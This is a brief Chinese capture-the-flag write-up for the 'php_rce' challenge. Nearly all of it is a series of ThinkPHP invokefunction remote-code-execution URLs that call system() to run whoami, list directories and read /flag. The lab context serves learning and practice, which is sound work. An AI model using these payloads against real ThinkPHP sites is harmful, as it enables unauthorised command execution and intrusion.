31.攻防世界php_rce

进入场景

不是，这是个啥啊

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=whoami

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=ls /

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=ls /flag

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=cat

/flag